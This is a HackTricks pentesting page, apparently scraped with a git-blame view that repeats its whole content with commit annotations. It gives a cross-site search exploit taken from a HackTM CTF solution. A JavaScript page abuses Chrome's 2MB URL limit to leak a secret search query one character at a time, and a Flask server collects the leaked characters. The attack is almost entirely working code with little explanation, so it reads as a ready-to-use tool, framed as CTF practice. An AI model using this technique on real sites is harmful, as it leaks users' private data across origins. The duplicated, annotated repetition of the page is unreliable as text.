hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

# URL Max Length - Client Side

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

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</details>

Code copied from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

```html
<html>
<body></body>
<script>
    (async () => {

        const curr = "http://secrets.wtl.pw/search?query=HackTM{"

        const leak = async (char) => {
            
            fetch("/?try=" + char)
            let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
            
            const check = async () => {
                try {
                    w.origin
                } catch {
                    fetch("/?nope=" + char)
                    return
                }
                setTimeout(check, 100)
            }
            check()
        }

        const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

        for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise(resolve => setTimeout(resolve, 50))
        }
    })()
</script>
</html>
```

Server side:

```python
from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars
    
    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)
```

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			`# URL Max Length - Client Side`

			`<details>`

update twitter 2023-04-25 18:35:28 +00:00			`<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
update twitter 2023-04-25 18:35:28 +00:00			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live).`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			`* Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`

			`</details>`

			`Code copied from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)`

			```html
			`<html>`
			`<body></body>`
			`<script>`
			`(async () => {`

			`const curr = "http://secrets.wtl.pw/search?query=HackTM{"`

			`const leak = async (char) => {`

			`fetch("/?try=" + char)`
			`let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))`

			`const check = async () => {`
			`try {`
			`w.origin`
			`} catch {`
			`fetch("/?nope=" + char)`
			`return`
			`}`
			`setTimeout(check, 100)`
			`}`
			`check()`
			`}`

			`const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"`

			`for (let i = 0; i < CHARSET.length; i++) {`
			`leak(CHARSET[i])`
			`await new Promise(resolve => setTimeout(resolve, 50))`
			`}`
			`})()`
			`</script>`
			`</html>`
			```

			`Server side:`

			```python
			`from flask import Flask, request`

			`app = Flask(__name__)`

			`CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"`
			`chars = []`

			`@app.route('/', methods=['GET'])`
			`def index():`
			`global chars`

			`nope = request.args.get('nope', '')`
			`if nope:`
			`chars.append(nope)`

			`remaining = [c for c in CHARSET if c not in chars]`

			`print("Remaining: {}".format(remaining))`

			`return "OK"`

			`@app.route('/exploit.html', methods=['GET'])`
			`def exploit():`
			`return open('exploit.html', 'r').read()`

			`if __name__ == '__main__':`
			`app.run(host='0.0.0.0', port=1337)`
			```

			`<details>`

update twitter 2023-04-25 18:35:28 +00:00			`<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
update twitter 2023-04-25 18:35:28 +00:00			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live).`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			`* Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud).`

			`</details>`